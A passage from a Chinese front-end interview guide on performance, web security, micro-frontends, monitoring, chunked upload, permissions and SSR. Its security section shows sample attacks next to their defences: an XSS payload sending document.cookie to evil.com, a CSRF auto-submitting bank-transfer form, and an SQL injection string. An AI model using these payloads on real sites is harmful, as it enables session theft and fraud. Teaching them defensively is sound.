</template>
<style scoped>
.skeleton-line {
height: 16px;
background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
background-size: 200% 100%;
animation: shimmer 1.5s infinite;
margin-bottom: 8px;
border-radius: 4px;
}
@keyframes shimmer {
0% { background-position: 200% 0; }
100% { background-position: -200% 0; }
}
</style>
68. 白屏优化
策略
| 策略 | 说明 |
|---|---|
| 内联关键 JS | 将初始化逻辑内联到 HTML |
| 异步加载脚本 | async/defer 加载 |
| 首屏直出 | SSR 或预渲染 |
| 容错处理 | JS 加载失败时的降级方案 |
| 预加载字体 | 避免字体闪烁 |
代码示例
html
<!DOCTYPE html>
<html>
<head>
<style>
/* 内联关键 CSS */
.loading { display: flex; justify-content: center; align-items: center; height: 100vh; }
.spinner { width: 40px; height: 40px; border: 3px solid #f3f3f3; border-top: 3px solid #3498db; border-radius: 50%; animation: spin 1s linear infinite; }
@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
</style>
</head>
<body>
<div id="app">
<div class="loading">
<div class="spinner"></div>
<p>加载中...</p>
</div>
</div>
<script defer src="/js/app.js"></script>
</body>
</html>
69. 多维度性能优化策略有哪些?
Lighthouse 评分维度
| 维度 | 指标 | 目标值 |
|---|---|---|
| 性能 | FCP(首次内容绘制) | < 1.8s |
| 性能 | LCP(最大内容绘制) | < 2.5s |
| 性能 | FID(首次输入延迟) | < 100ms |
| 性能 | CLS(累积布局偏移) | < 0.1 |
| 性能 | TTI(可交互时间) | < 3.8s |
| 性能 | TBT(总阻塞时间) | < 200ms |
优化路线图
markdown
1. 测量 → 使用 Lighthouse/Performance API 获取当前指标
2. 分析 → 定位瓶颈(网络、JS 执行、渲染)
3. 优化 → 针对性实施优化策略
4. 验证 → 重新测量确认效果
5. 监控 → 持续监控性能指标
七、安全策略
70. 前端安全
安全原则
- 最小权限:只授予必要的权限
- 纵深防御:多层防护
- 不信任用户输入:所有输入都应验证和转义
- 安全默认:默认开启安全策略
71. XSS 攻击
定义
XSS(跨站脚本攻击,Cross-Site Scripting)是攻击者向目标网站注入恶意脚本,在其他用户浏览器中执行。
攻击类型
| 类型 | 说明 | 示例 |
|---|---|---|
| 存储型 XSS | 恶意脚本存储在服务器 | 评论中注入 <script> 标签 |
| 反射型 XSS | 通过 URL 参数传递 | 搜索框:?q=<script>alert(1)</script> |
| DOM 型 XSS | 通过前端 JS 操作 DOM | innerHTML = userInput |
攻击示例
javascript
// 存储型 XSS 场景
// 攻击者在评论框输入
const maliciousComment = `
<img src="x" onerror="fetch('https://evil.com/steal?cookie=' + document.cookie)">
`;
// 如果后端没过滤,前端没转义
<div class="comment">
${userInput} // 恶意脚本执行
</div>
// DOM 型 XSS
const hash = location.hash.substring(1);
document.getElementById('output').innerHTML = hash; // 危险!
72. XSS 防御
防御策略
| 策略 | 说明 | 实现 |
|---|---|---|
| 输入过滤 | 验证和过滤用户输入 | 白名单验证、特殊字符转义 |
| 输出编码 | 输出时转义特殊字符 | HTML 实体编码 |
| CSP | 内容安全策略 | 设置 HTTP 头 |
| HttpOnly | 禁止 JS 访问 Cookie | Set-Cookie: HttpOnly |
| 框架防护 | 框架自动转义 | Vue/React 默认转义 |
代码实现
javascript
// HTML 转义函数
function escapeHtml(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return str.replace(/[&<>"'/]/g, s => map[s]);
}
// 使用
const userInput = '<script>alert(1)</script>';
const safeOutput = escapeHtml(userInput);
// <script>alert(1)</script>
// DOMPurify 库
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);
// CSP 头配置
// Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
// Content-Security-Policy: script-src 'self' https://trusted-cdn.com
Vue/React 的安全特性
html
<!-- Vue 自动转义 -->
<div>{{ userInput }}</div> <!-- 安全,自动转义 -->
<div v-html="userInput"></div> <!-- 危险!需要自行处理 -->
jsx
// React 自动转义
<div>{userInput}</div> {/* 安全 */}
<div dangerouslySetInnerHTML={{ __html: userInput }} /> {/* 危险 */}
73. CSRF 攻击
定义
CSRF(跨站请求伪造,Cross-Site Request Forgery)是攻击者诱导用户在已认证的网站上执行非预期操作。
攻击原理
- 用户登录目标网站,获得 Cookie
- 用户访问恶意网站
- 恶意网站发送请求到目标网站
- 浏览器自动携带 Cookie,请求成功
攻击示例
html
<!-- 恶意网站 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- 或者 -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
74. CSRF 防御
防御策略
| 策略 | 说明 | 实现 |
|---|---|---|
| CSRF Token | 请求携带随机 Token | 表单/请求头携带 Token |
| SameSite Cookie | 限制 Cookie 跨站发送 | Set-Cookie: SameSite=Strict |
| 验证 Referer | 检查请求来源 | 服务端验证 Referer 头 |
| 自定义请求头 | 要求携带自定义头 | X-Requested-With |
代码实现
javascript
// CSRF Token 方案
// 后端生成 Token 放入页面
<meta name="csrf-token" content="abc123xyz">
// 前端携带 Token
axios.interceptors.request.use(config => {
const token = document.querySelector('meta[name="csrf-token"]').content;
config.headers['X-CSRF-Token'] = token;
return config;
});
// 后端验证
app.post('/api/transfer', (req, res) => {
const csrfToken = req.headers['x-csrf-token'];
if (csrfToken !== req.session.csrfToken) {
return res.status(403).send('CSRF Token 验证失败');
}
// 处理转账
});
// SameSite Cookie
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure
Set-Cookie: sessionId=abc123; SameSite=Lax; Secure
75. SQL 注入
定义
攻击者通过在输入中注入恶意 SQL 语句,改变原有 SQL 逻辑。
攻击示例
javascript
// 危险:拼接 SQL
const sql = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
// 攻击者输入:' OR '1'='1' --
// 结果 SQL:SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''
// 安全:使用参数化查询
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.execute(sql, [username, password]);
76. 点击劫持
定义
攻击者将目标网站嵌入 iframe,诱导用户点击被覆盖的不可见元素。
防御
javascript
// X-Frame-Options 头
X-Frame-Options: DENY // 不允许任何 iframe 嵌入
X-Frame-Options: SAMEORIGIN // 只允许同源
X-Frame-Options: ALLOW-FROM https://example.com // 允许指定域名
// JS 防护
if (window.top !== window.self) {
window.top.location = window.self.location;
}
77. 中间人攻击(MITM)
定义
攻击者在通信双方之间拦截、篡改或伪造数据。
防御
- 使用 HTTPS 加密传输
- HSTS(HTTP Strict Transport Security)
- 证书锁定(Certificate Pinning)
- 避免使用公共 WiFi 传输敏感信息
78. 内容安全策略(CSP)
定义
CSP(Content Security Policy)是一个额外的安全层,用于检测和缓解某些类型的攻击,包括 XSS 和数据注入。
配置
http
# 基本配置
Content-Security-Policy: default-src 'self'
# 允许特定域名
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
# Report-Only 模式(不阻止只报告)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
指令说明
| 指令 | 说明 |
|---|---|
| default-src | 默认策略 |
| script-src | 脚本来源 |
| style-src | 样式来源 |
| img-src | 图片来源 |
| font-src | 字体来源 |
| connect-src | 连接来源(fetch、WebSocket) |
| frame-ancestors | 允许嵌入的父页面 |
| form-action | 允许的表单提交地址 |
79. HTTPS
定义
HTTPS 是 HTTP 的安全版本,通过 SSL/TLS 加密数据传输。
优势
- 数据加密:防止数据被窃听
- 身份认证:防止中间人攻击
- 数据完整性:防止数据被篡改
混合内容问题
html
<!-- 主动混合内容(被阻止) -->
<script src="http://example.com/script.js"></script>
<!-- 被动混合内容(警告) -->
<img src="http://example.com/image.jpg">
<!-- 解决方案:协议相对路径 -->
<script src="//example.com/script.js"></script>
<!-- Upgrade-Insecure-Requests -->
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
80. 安全头配置
常用安全头
| 头部 | 值 | 说明 |
|---|---|---|
| Content-Security-Policy | 各种指令 | 内容安全策略 |
| X-Content-Type-Options | nosniff | 禁止 MIME 嗅探 |
| X-Frame-Options | DENY/SAMEORIGIN | 防止点击劫持 |
| X-XSS-Protection | 1; mode=block | XSS 过滤器(已废弃) |
| Strict-Transport-Security | max-age=31536000 | HSTS |
| Referrer-Policy | no-referrer | 控制 Referer 信息 |
| Permissions-Policy | 各种权限 | 控制浏览器功能访问 |
Nginx 配置
nginx
server {
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}
81. 请谈谈你对前端安全性的理解,以及常见的安全攻击和防御手段
前端安全核心理念
- 所有用户输入都是不可信的:必须验证、过滤、转义
- 纵深防御:不依赖单一防护手段
- 安全默认:默认开启最严格的策略
- 最小权限:只开放必要的功能和接口
攻击与防御矩阵
| 攻击类型 | 原理 | 防御手段 |
|---|---|---|
| XSS | 注入恶意脚本 | 输入过滤、输出编码、CSP、HttpOnly |
| CSRF | 伪造用户请求 | CSRF Token、SameSite Cookie、Referer 验证 |
| SQL 注入 | 注入恶意 SQL | 参数化查询、ORM |
| 点击劫持 | iframe 覆盖 | X-Frame-Options、CSP frame-ancestors |
| 中间人攻击 | 拦截通信 | HTTPS、HSTS |
八、微前端架构
82. 微前端
定义
微前端(Micro Frontends)是一种将前端应用拆分为多个小型独立应用的架构模式,每个应用可以由不同团队独立开发、测试和部署。
核心特征
- 技术栈无关:各子应用可以使用不同框架
- 独立部署:子应用可以独立发布
- 增量升级:逐步迁移,无需重写全部代码
- 团队自治:不同团队独立开发
83. 微前端架构是什么?
架构模式
css
┌─────────────────────────────────────────┐
│ 基座应用 (Shell) │
│ ┌───────────────────────────────────┐ │
│ │ 路由分发层 │ │
│ └───────────────────────────────────┘ │
│ ┌────────┐ ┌────────┐ ┌────────┐ │
│ │ 子应用A │ │ 子应用B │ │ 子应用C │ │
│ │ React │ │ Vue │ │ Angular│ │
│ └────────┘ └────────┘ └────────┘ │
└─────────────────────────────────────────┘
适用场景
- 大型项目、多团队协作
- 历史遗留系统逐步迁移
- 需要独立部署的功能模块
84. 微前端实现方案
方案对比
| 方案 | 原理 | 优点 | 缺点 |
|---|---|---|---|
| iframe | 原生 iframe 嵌入 | 简单、完全隔离 | 通信困难、性能差、URL 不同步 |
| Web Components | 自定义元素标准 | 标准化、组件化 | 兼容性、样式穿透困难 |
| single-spa | JS 沙箱 + 路由分发 | 轻量、灵活 | 需要手动处理隔离 |
| qiankun | single-spa 封装 | 开箱即用、样式/JS 隔离 | 有一定学习成本 |
| Module Federation | Webpack5 原生 | 模块级共享、性能好 | 仅 Webpack5 |
85. iframe 方案
实现
html
<!-- 基座应用 -->
<div id="micro-app-container">
<iframe
src="http://app-a.example.com"
id="app-a"
sandbox="allow-scripts allow-same-origin allow-forms"
></iframe>
</div>
<style>
#micro-app-container iframe {
width: 100%;
height: 100vh;
border: none;
}
</style>
通信方案
javascript
// postMessage 通信
// 父应用
const iframe = document.getElementById('app-a');
iframe.contentWindow.postMessage({ type: 'SET_TOKEN', data: token }, '*');
// 子应用
window.addEventListener('message', (e) => {
if (e.data.type === 'SET_TOKEN') {
localStorage.setItem('token', e.data.data);
}
});
86. Web Components
实现
javascript
// 定义组件
class MicroAppComponent extends HTMLElement {
constructor() {
super();
this.attachShadow({ mode: 'open' });
}
connectedCallback() {
this.shadowRoot.innerHTML = `
<style>
:host { display: block; }
h1 { color: #333; }
</style>
<h1>微前端应用</h1>
`;
}
disconnectedCallback() {
// 清理
}
}
customElements.define('micro-app', MicroAppComponent);
// 使用
<micro-app></micro-app>
87. single-spa
实现
javascript
import { registerApplication, start } from 'single-spa';
// 注册子应用
registerApplication({
name: 'app-a',
app: () => import('http://app-a.example.com/main.js'),
activeWhen: ['/app-a']
});
registerApplication({
name: 'app-b',
app: () => import('http://app-b.example.com/main.js'),
activeWhen: ['/app-b']
});
start();
子应用生命周期
javascript
export async function bootstrap(props) {
console.log('子应用 bootstrap');
}
export async function mount(props) {
console.log('子应用 mount');
// 渲染应用
}
export async function unmount(props) {
console.log('子应用 unmount');
// 清理资源
}
88. qiankun
基座应用配置
javascript
import { registerMicroApps, start } from 'qiankun';
registerMicroApps([
{
name: 'app-vue',
entry: '//localhost:8081',
container: '#container',
activeRule: '/app-vue',
props: { token: 'xxx' }
},
{
name: 'app-react',
entry: '//localhost:8082',
container: '#container',
activeRule: '/app-react'
}
]);
start({
sandbox: { strictStyleIsolation: true },
prefetch: true
});
子应用配置(Vue)
javascript
// main.js
import Vue from 'vue';
import VueRouter from 'vue-router';
let instance = null;
function render(props = {}) {
const { container } = props;
instance = new Vue({
router,
store,
render: h => h(App)
}).$mount(container ? container.querySelector('#app') : '#app');
}
if (!window.__POWERED_BY_QIANKUN__) {
render();
}
export async function bootstrap() {}
export async function mount(props) {
render(props);
}
export async function unmount() {
instance.$destroy();
instance = null;
}
89. Module Federation
配置
javascript
// 主应用 webpack.config.js
const { ModuleFederationPlugin } = require('webpack').container;
module.exports = {
plugins: [
new ModuleFederationPlugin({
name: 'host',
remotes: {
appA: 'appA@http://localhost:3001/remoteEntry.js',
},
shared: ['react', 'react-dom']
})
]
};
// 子应用 webpack.config.js
module.exports = {
plugins: [
new ModuleFederationPlugin({
name: 'appA',
filename: 'remoteEntry.js',
exposes: {
'./App': './src/App',
},
shared: ['react', 'react-dom']
})
]
};
// 使用
const AppA = React.lazy(() => import('appA/App'));
90. 微前端通信
通信方案
| 方案 | 适用场景 |
|---|---|
| props 传递 | 基座向子应用传递数据 |
| 自定义事件 | 子应用间解耦通信 |
| 全局状态 | 跨应用共享状态 |
| localStorage | 简单数据持久化 |
| URL 参数 | 路由参数传递 |
代码实现
javascript
// 全局状态方案
class MicroAppState {
constructor() {
this.state = {};
this.listeners = {};
}
set(key, value) {
this.state[key] = value;
if (this.listeners[key]) {
this.listeners[key].forEach(fn => fn(value));
}
}
get(key) {
return this.state[key];
}
on(key, fn) {
if (!this.listeners[key]) this.listeners[key] = [];
this.listeners[key].push(fn);
}
}
export const globalState = new MicroAppState();
// 使用
globalState.set('user', { name: '张三' });
globalState.on('user', (user) => {
console.log('用户信息变更:', user);
});
91. 微前端样式隔离
方案对比
| 方案 | 说明 | 优缺点 |
|---|---|---|
| Shadow DOM | 浏览器原生隔离 | 完全隔离,但穿透困难 |
| CSS Scoped | 添加唯一前缀 | 实现简单,性能较好 |
| CSS Modules | 类名哈希化 | 工程化支持好 |
| 动态样式 | 挂载时添加,卸载时移除 | 简单有效 |
qiankun 样式隔离
javascript
start({
sandbox: {
strictStyleIsolation: true, // Shadow DOM
experimentalStyleIsolation: true // 动态 scoped
}
});
// experimentalStyleIsolation 会添加 data-qiankun 属性
// 实际效果:.app-class[data-qiankun="app-a"]
92. 微前端状态共享
方案
javascript
// 基于 RxJS 的状态管理
import { BehaviorSubject } from 'rxjs';
class SharedState {
constructor() {
this.subjects = {};
}
get(key, defaultValue) {
if (!this.subjects[key]) {
this.subjects[key] = new BehaviorSubject(defaultValue);
}
return this.subjects[key];
}
set(key, value) {
this.get(key).next(value);
}
}
export const sharedState = new SharedState();
// 子应用 A - 发布状态
sharedState.set('currentUser', { id: 1, name: '张三' });
// 子应用 B - 订阅状态
sharedState.get('currentUser').subscribe(user => {
console.log('当前用户:', user);
});
93. 微前端部署
部署方案
| 方案 | 说明 |
|---|---|
| 独立部署 | 每个子应用独立部署到不同服务器 |
| 统一构建 | 主应用和子应用统一构建后部署 |
| CDN 部署 | 子应用部署到 CDN,基座引用 CDN 地址 |
| Docker 容器化 | 每个子应用独立容器 |
CI/CD 流程
css
┌─────────┐ ┌─────────┐ ┌─────────┐
│ 子应用A │ │ 子应用B │ │ 子应用C │
│ 独立CI │ │ 独立CI │ │ 独立CI │
└────┬────┘ └────┬────┘ └────┬────┘
│ │ │
▼ ▼ ▼
┌─────────────────────────────────────────┐
│ CDN / 静态服务器 │
└─────────────────────────────────────────┘
▲
│
┌─────────────────────────────────────────┐
│ 基座应用(引用子应用地址) │
│ 独立部署、独立版本控制 │
└─────────────────────────────────────────┘
九、监控体系
94. 监控体系包括哪些? / 前端监控体系包括哪些内容?
前端监控体系组成
| 维度 | 内容 | 说明 |
|---|---|---|
| 性能监控 | 页面加载、渲染、交互性能 | FCP、LCP、FID、CLS 等 |
| 错误监控 | JS 错误、资源加载错误、接口错误 | try-catch、window.onerror |
| 用户行为 | 页面访问、点击、转化漏斗 | 埋点、PV/UV |
| 业务监控 | 业务指标、转化率 | 订单量、注册量 |
| 安全监控 | XSS 攻击、异常请求 | CSP 报告、异常请求分析 |
95. 前端监控的实现(错误收集、性能监控)
错误收集
javascript
// 1. 全局 JS 错误
window.addEventListener('error', (e) => {
reportError({
type: 'js-error',
message: e.message,
filename: e.filename,
lineno: e.lineno,
colno: e.colno,
stack: e.error?.stack
});
}, true);
// 2. Promise 未捕获错误
window.addEventListener('unhandledrejection', (e) => {
reportError({
type: 'promise-error',
message: e.reason?.message || String(e.reason),
stack: e.reason?.stack
});
});
// 3. 资源加载错误
window.addEventListener('error', (e) => {
if (e.target !== window) {
reportError({
type: 'resource-error',
tagName: e.target.tagName,
src: e.target.src || e.target.href
});
}
}, true);
// 4. Vue 错误处理
app.config.errorHandler = (err, instance, info) => {
reportError({
type: 'vue-error',
message: err.message,
component: instance?.$options?.name,
info
});
};
// 5. React 错误边界
class ErrorBoundary extends React.Component {
componentDidCatch(error, errorInfo) {
reportError({
type: 'react-error',
message: error.message,
componentStack: errorInfo.componentStack
});
}
render() {
return this.props.children;
}
}
性能监控
javascript
// Performance API
function collectPerformanceMetrics() {
const navigation = performance.getEntriesByType('navigation')[0];
const paint = performance.getEntriesByType('paint');
return {
// 导航计时
dns: navigation.domainLookupEnd - navigation.domainLookupStart,
tcp: navigation.connectEnd - navigation.connectStart,
ttfb: navigation.responseStart - navigation.requestStart,
download: navigation.responseEnd - navigation.responseStart,
// 渲染计时
fcp: paint.find(p => p.name === 'first-contentful-paint')?.startTime,
// 页面可用
domReady: navigation.domContentLoadedEventEnd - navigation.startTime,
load: navigation.loadEventEnd - navigation.startTime
};
}
// Web Vitals
import { getCLS, getFID, getFCP, getLCP, getTTFB } from 'web-vitals';
getCLS(reportMetric);
getFID(reportMetric);
getFCP(reportMetric);
getLCP(reportMetric);
getTTFB(reportMetric);
function reportMetric(metric) {
sendToAnalytics({
name: metric.name,
value: metric.value,
delta: metric.delta,
rating: metric.rating
});
}
96. 如何实现前端埋点监控系统?
埋点类型
| 类型 | 说明 | 实现 |
|---|---|---|
| 页面浏览(PV) | 记录页面访问 | 路由变化监听 |
| 用户行为 | 点击、滚动、输入 | 事件委托 |
| 自定义事件 | 业务事件 | 手动调用 |
| 性能数据 | 页面性能 | Performance API |
| 错误数据 | 运行时错误 | 全局监听 |
埋点系统实现
javascript
class Tracker {
constructor(options) {
this.appId = options.appId;
this.userId = options.userId;
this.queue = [];
this.batchSize = options.batchSize || 10;
this.flushInterval = options.flushInterval || 5000;
this.apiEndpoint = options.apiEndpoint;
this.startAutoFlush();
}
// 页面浏览
trackPageView(pageName, properties = {}) {
this.track('page_view', { page_name: pageName, ...properties });
}
// 自定义事件
trackEvent(eventName, properties = {}) {
this.track(eventName, properties);
}
// 核心方法
track(event, properties = {}) {
const data = {
event,
properties,
user_id: this.userId,
app_id: this.appId,
timestamp: Date.now(),
url: location.href,
referrer: document.referrer,
user_agent: navigator.userAgent,
screen: `${screen.width}x${screen.height}`
};
this.queue.push(data);
if (this.queue.length >= this.batchSize) {
this.flush();
}
}
// 批量上报
async flush() {
if (this.queue.length === 0) return;
const data = this.queue.splice(0, this.batchSize);
try {
await navigator.sendBeacon(this.apiEndpoint, JSON.stringify(data));
} catch (e) {
// 降级为图片请求
new Image().src = `${this.apiEndpoint}?data=${encodeURIComponent(JSON.stringify(data))}`;
}
}
startAutoFlush() {
setInterval(() => this.flush(), this.flushInterval);
}
}
// 自动 PV 追踪
function trackPageView(tracker) {
const originalPushState = history.pushState;
history.pushState = function(...args) {
originalPushState.apply(this, args);
tracker.trackPageView(location.pathname);
};
window.addEventListener('popstate', () => {
tracker.trackPageView(location.pathname);
});
// 初始页面
tracker.trackPageView(location.pathname);
}
// 使用
const tracker = new Tracker({
appId: 'my-app',
userId: getUserId(),
apiEndpoint: '/api/track'
});
trackPageView(tracker);
// 手动埋点
document.getElementById('submit-btn').addEventListener('click', () => {
tracker.trackEvent('form_submit', { form_id: 'login-form' });
});
97. 性能监控
关键指标
| 指标 | 说明 | 目标 |
|---|---|---|
| FCP | 首次内容绘制 | < 1.8s |
| LCP | 最大内容绘制 | < 2.5s |
| FID | 首次输入延迟 | < 100ms |
| CLS | 累积布局偏移 | < 0.1 |
| TTI | 可交互时间 | < 3.8s |
实时监控
javascript
// 实时监控 FCP/LCP
const observer = new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
console.log(`${entry.name}: ${entry.startTime}ms`);
reportToServer(entry.name, entry.startTime);
}
});
observer.observe({ type: 'paint', buffered: true });
observer.observe({ type: 'largest-contentful-paint', buffered: true });
// 监控长任务
const longTaskObserver = new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
console.log('长任务:', entry.duration, 'ms');
}
});
longTaskObserver.observe({ type: 'longtask', buffered: true });
十、工程实践
98. 大文件上传如何实现?
问题拆解
| 维度 | 问题 | 方案 |
|---|---|---|
| 传输 | 大文件传输慢 | 分片上传 |
| 可靠性 | 网络中断导致失败 | 断点续传 |
| 效率 | 重复上传相同文件 | 秒传(哈希去重) |
| 进度 | 用户不知道进度 | 进度条反馈 |
| 并发 | 提高上传速度 | 并发上传 |
实现步骤
markdown
1. 文件切片 → 将大文件切割为固定大小的小块
2. 计算哈希 → 计算整个文件的哈希(用于秒传和去重)
3. 检查秒传 → 服务端判断是否已有相同文件
4. 分片上传 → 并发上传各个分片
5. 合并分片 → 所有分片上传完成后通知服务端合并
6. 断点续传 → 记录已上传分片,失败后只传未上传部分
代码实现
javascript
class FileUploader {
constructor(options) {
this.chunkSize = options.chunkSize || 2 * 1024 * 1024; // 2MB
this.concurrent = options.concurrent || 3;
this.onProgress = options.onProgress;
}
// 计算文件哈希
async calculateHash(file) {
return new Promise((resolve) => {
const spark = new SparkMD5.ArrayBuffer();
const reader = new FileReader();
const chunks = this.sliceFile(file);
let index = 0;
const loadNext = () => {
if (index >= chunks.length) {
resolve(spark.end());
return;
}
reader.readAsArrayBuffer(chunks[index++]);
};
reader.onload = (e) => {
spark.append(e.target.result);
loadNext();
};
loadNext();
});
}
// 切片
sliceFile(file) {
const chunks = [];
let start = 0;
while (start < file.size) {
chunks.push(file.slice(start, start + this.chunkSize));
start += this.chunkSize;
}
return chunks;
}
// 上传单个分片
async uploadChunk(chunk, index, hash, fileName) {
const formData = new FormData();
formData.append('chunk', chunk);
formData.append('index', index);
formData.append('hash', hash);
formData.append('fileName', fileName);
return fetch('/api/upload/chunk', {
method: 'POST',
body: formData
});
}
// 并发控制
async concurrentUpload(tasks, limit) {
const results = [];
let index = 0;
const worker = async () => {
while (index < tasks.length) {
const taskIndex = index++;
results[taskIndex] = await tasks[taskIndex]();
}
};
const workers = Array.from({ length: Math.min(limit, tasks.length) }, worker);
await Promise.all(workers);
return results;
}
// 主流程
async upload(file) {
const hash = await this.calculateHash(file);
// 1. 检查秒传
const checkRes = await fetch('/api/upload/check', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ hash, fileName: file.name })
});
const checkData = await checkRes.json();
if (checkData.exist) {
this.onProgress?.(100);
return { status: 'exists', url: checkData.url };
}
// 2. 获取已上传的分片(断点续传)
const uploadedChunks = checkData.uploaded || [];
// 3. 切片
const chunks = this.sliceFile(file);
// 4. 过滤未上传的分片
const tasks = chunks
.map((chunk, index) => ({ chunk, index }))
.filter(({ index }) => !uploadedChunks.includes(index))
.map(({ chunk, index }) => () =>
this.uploadChunk(chunk, index, hash, file.name)
);
// 5. 并发上传
let completed = uploadedChunks.length;
const total = chunks.length;
const wrappedTasks = tasks.map(task => async () => {
const result = await task();
completed++;
this.onProgress?.(Math.round((completed / total) * 100));
return result;
});
await this.concurrentUpload(wrappedTasks, this.concurrent);
// 6. 合并分片
return fetch('/api/upload/merge', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ hash, fileName: file.name, chunkCount: total })
});
}
}
// 使用
const uploader = new FileUploader({
chunkSize: 2 * 1024 * 1024,
concurrent: 3,
onProgress: (percent) => {
console.log(`上传进度: ${percent}%`);
document.getElementById('progress').style.width = `${percent}%`;
}
});
document.getElementById('file-input').addEventListener('change', async (e) => {
const file = e.target.files[0];
const result = await uploader.upload(file);
console.log('上传结果:', result);
});
99. 如何实现权限控制系统?
权限模型
| 模型 | 说明 | 适用场景 |
|---|---|---|
| RBAC | 基于角色的权限控制 | 通用场景 |
| ABAC | 基于属性的权限控制 | 细粒度控制 |
| ACL | 访问控制列表 | 简单权限 |
RBAC 实现
scss
用户 (User) ── N:N ──> 角色 (Role) ── N:N ──> 权限 (Permission)
前端权限控制方案
| 维度 | 方案 |
|---|---|
| 菜单权限 | 动态路由、菜单过滤 |
| 按钮权限 | 自定义指令、组件 |
| 接口权限 | 请求拦截、后端校验 |
| 数据权限 | 数据过滤、行级权限 |
动态路由权限控制
javascript
// 路由配置
const asyncRoutes = [
{
path: '/admin',
component: () => import('@/layouts/AdminLayout.vue'),
meta: { roles: ['admin'] },
children: [
{
path: 'users',
component: () => import('@/pages/admin/Users.vue'),
meta: { roles: ['admin'] }
},
{
path: 'roles',
component: () => import('@/pages/admin/Roles.vue'),
meta: { roles: ['admin', 'manager'] }
}
]
},
{
path: '/dashboard',
component: () => import('@/pages/Dashboard.vue'),
meta: { roles: ['admin', 'user', 'manager'] }
}
];
// 权限过滤函数
function filterRoutesByRoles(routes, userRoles) {
return routes.filter(route => {
if (route.meta?.roles) {
const hasPermission = route.meta.roles.some(role =>
userRoles.includes(role)
);
if (!hasPermission) return false;
}
if (route.children) {
route.children = filterRoutesByRoles(route.children, userRoles);
}
return true;
});
}
// 路由守卫
router.beforeEach(async (to, from, next) => {
const userStore = useUserStore();
if (!userStore.token) {
if (to.path === '/login') {
next();
} else {
next(`/login?redirect=${to.path}`);
}
return;
}
// 获取用户信息和权限
if (!userStore.roles.length) {
await userStore.fetchUserInfo();
// 动态添加路由
const accessibleRoutes = filterRoutesByRoutes(
asyncRoutes,
userStore.roles
);
accessibleRoutes.forEach(route => {
router.addRoute(route);
});
// 重新导航
next({ ...to, replace: true });
return;
}
next();
});
按钮权限控制
html
<!-- 权限指令 -->
const permission = {
mounted(el, binding) {
const { value } = binding;
const userPermissions = useUserStore().permissions;
if (value && !userPermissions.includes(value)) {
el.parentNode?.removeChild(el);
}
}
};
app.directive('permission', permission);
<!-- 使用 -->
<button v-permission="'user:delete'">删除用户</button>
<button v-permission="'user:edit'">编辑用户</button>
权限组件
html
<template>
<slot v-if="hasPermission"></slot>
</template>
<script>
export default {
props: {
permission: { type: String, required: true }
},
computed: {
hasPermission() {
return useUserStore().permissions.includes(this.permission);
}
}
}
</script>
<!-- 使用 -->
<Permission permission="user:delete">
<button>删除用户</button>
</Permission>
100. 如何实现服务端渲染 (SSR)?
定义
服务端渲染(Server-Side Rendering)是在服务器端将组件渲染为 HTML 字符串,直接发送给浏览器。
优势
- SEO 友好:搜索引擎可以抓取完整内容
- 首屏加载快:无需等待 JS 下载执行
- 用户体验好:减少白屏时间
Vue SSR 实现
javascript
// server.js
import { createSSRApp } from 'vue';
import { renderToString } from '@vue/server-renderer';
import express from 'express';
import App from './App.vue';
const app = express();
app.get('*', async (req, res) => {
const vueApp = createSSRApp(App);
// 传递初始数据
vueApp.provide('initialData', { user: '张三' });
const html = await renderToString(vueApp);
res.send(`
<!DOCTYPE html>
<html>
<head><title>SSR App</title></head>
<body>
<div id="app">${html}</div>
<script>
window.__INITIAL_DATA__ = ${JSON.stringify({ user: '张三' })};
</script>
<script src="/client.js"></script>
</body>
</html>
`);
});
app.listen(3000);
React SSR 实现
javascript
// server.js
import express from 'express';
import React from 'react';
import { renderToString } from 'react-dom/server';
import App from './App';
const app = express();
app.get('*', (req, res) => {
const html = renderToString(
<React.StrictMode>
<App />
</React.StrictMode>
);
res.send(`
<!DOCTYPE html>
<html>
<head><title>SSR App</title></head>
<body>
<div id="root">${html}</div>
<script src="/client.js"></script>
</body>
</html>
`);
});
app.listen(3000);
Nuxt.js / Next.js
javascript
// Nuxt.js (Vue)
// nuxt.config.js
export default {
ssr: true,
target: 'server'
}
// Next.js (React)
// next.config.js
module.exports = {
// SSR 默认开启
}
// 页面组件
export async function getServerSideProps(context) {
const data = await fetchData();
return { props: { data } };
}
SSR 架构
css
┌──────────┐ ┌──────────┐ ┌──────────┐
│ 浏览器 │────>│ 服务端 │────>│ 数据库 │
│ │<────│ │<────│ │
└──────────┘ HTML└──────────┘ └──────────┘
│
│ hydrate
▼
┌──────────┐
│ 客户端 │
│ (SPA) │
└──────────┘